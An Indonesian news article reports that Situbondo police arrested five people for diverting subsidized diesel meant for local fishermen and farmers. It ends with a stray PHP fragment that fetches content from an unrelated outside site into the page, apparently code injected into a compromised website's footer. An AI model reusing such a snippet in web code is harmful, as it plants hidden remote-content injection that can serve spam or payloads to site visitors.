Polres Situbondo Berhasil Membongkar Sindikat Mafia BBM jenis Solar Bersubsidi

Selasa, 10 September 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Situbondo | jejakkasus.info – Polres Situbondo berhasil mengungkap Komplotan mafia Bahan Bakar Minyak (BBM) bersubsidi di Desa Kilensari, Kecamatan Panarukan, Kabupaten Situbondo Provinsi Jawa Timur. senin 09 September 2024

Aksi tindak pidana kriminal ini membuat nelayan dan petani di daerah tersebut kesulitan mendapatkan bahan bakar minyak (BBM) jenis solar bersubsidi, yang seharusnya digunakan untuk menunjang mata pencaharian merek para petani nelayan

Aksi penggerebekan yang dilakukan pada selasa, tanggal 3 September 2024, sekitar pukul 23.00 WIB, polisi menangkap 5 (lima) tersangka yang terlibat dalam penyelewengan distribusi BBM subsidi jenis solar. Para pelaku yang diamankan adalah ADC/AP, seorang pengepul BBM bersubsidi, MAL (sopir tangki), AAM (kernet), MFR (pembeli BBM), dan R (pengimbal). Mereka menggunakan berbagai modus untuk memanipulasi aliran distribusi BBM yang semestinya diberikan kepada para nelayan dan petani.

Baca Juga:  Plt. Bupati Sidoarjo Mempunyai Atensi Tinggi Terhadap Perkembangan Olahraga di Sidoarjo

Dalam konferensi pers yang digelar di Mapolres Situbondo itu Kapolres Situbondo, AKBP Rezi Darmawan, menjelaskan bahwa komplotan tersebut menggunakan kendaraan tangki dan motor roda tiga untuk mengalihkan solar subsidi dari SPBU. Mereka bahkan menyita 8 drum berisi solar dan berbagai peralatan penyedot, seperti pompa dan selang.

Baca Juga:  Kunjungan Kapolsek Kuta Selatan ke Hotel Samabe untuk Persiapan Konferensi World Water Forum

“Modusnya, para pelaku menggunakan rekomendasi nelayan untuk membeli solar subsidi dengan harga Rp 6.800 per liter, lalu dijual kembali dengan harga Rp 7.300 per liter. Ini membuat pasokan solar langka dan merugikan masyarakat yang benar-benar membutuhkan,” ungkap AKBP Rezi. Senin (09/09/2024).

Informasi awal mengenai praktik ilegal ini diperoleh dari keluhan para nelayan yang merasa resah karena kesulitan mendapatkan solar untuk kebutuhan melaut. Dari situlah, polisi memulai penyelidikan mendalam hingga berhasil membongkar sindikat ini.

“Solar ini seharusnya didistribusikan kepada nelayan dan petani di Panarukan. Namun, ada dugaan kuat bahwa BBM tersebut dijual ke luar wilayah Situbondo untuk keuntungan pribadi,” tambah Rezi.

Baca Juga:  Kapolda Jateng Gelar Konferensi Pers Terkait Keberhasilan Polrestabes Semarang Ungkap Kasus Peredaran Narkotika Jenis Sabu 8,4 Kg Dari Kalimantan

Ke 5 (lima) tersangka dijerat dengan Pasal 55 UU RI No. 22 tahun 2001 tentang Minyak dan Gas Bumi yang telah diubah dalam UU RI No. 11 tahun 2020 tentang Cipta Kerja, serta Pasal 55 dan 56 KUHP, dengan ancaman hukuman maksimal 6 tahun penjara.

Kasus ini menjadi peringatan tegas bahwa penyelewengan BBM bersubsidi bukan hanya melanggar hukum, tetapi juga merugikan masyarakat kecil yang menggantungkan hidupnya pada solar untuk melaut dan bertani. (Red)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja
Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat
Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras
Rayon Barat Polresta Sidoarjo Apel Bersama Oprasi Cooling System Tahun 2024 .
Wahyudi Dengan Tegas Menolak Kebijakan Pemerintah Yang Menaikan E Retribusi Di Situasi-Kondisi Pasar Sepi Dan Memprihatinkan Saat Ini
Waka II DPRD Badung I Made Wijaya Soroti: Peraturan Berbenturan,Nasib Tanah Negara Di Pererenan Menggantung
Kompol Muhammad Mukid Sosialisasi Penyebaran Narkoba Ke Pelajar
Personel Polsek Krueng Sabee Laksanakan Patroli KRYD, Sisir Lokasi Strategis untuk Jaga Keamanan

Berita Terkait

Jumat, 4 Oktober 2024 - 11:38 WIB

Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja

Jumat, 4 Oktober 2024 - 00:48 WIB

Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat

Jumat, 4 Oktober 2024 - 00:43 WIB

Rayon Barat Polresta Sidoarjo Apel Bersama Oprasi Cooling System Tahun 2024 .

Kamis, 3 Oktober 2024 - 18:47 WIB

Wahyudi Dengan Tegas Menolak Kebijakan Pemerintah Yang Menaikan E Retribusi Di Situasi-Kondisi Pasar Sepi Dan Memprihatinkan Saat Ini

Kamis, 3 Oktober 2024 - 16:44 WIB

Waka II DPRD Badung I Made Wijaya Soroti: Peraturan Berbenturan,Nasib Tanah Negara Di Pererenan Menggantung

Berita Terbaru

Berita Utama

Kapolres Pringsewu Serukan Pilkada Damai Tanpa Diskriminasi

Jumat, 4 Okt 2024 - 19:31 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>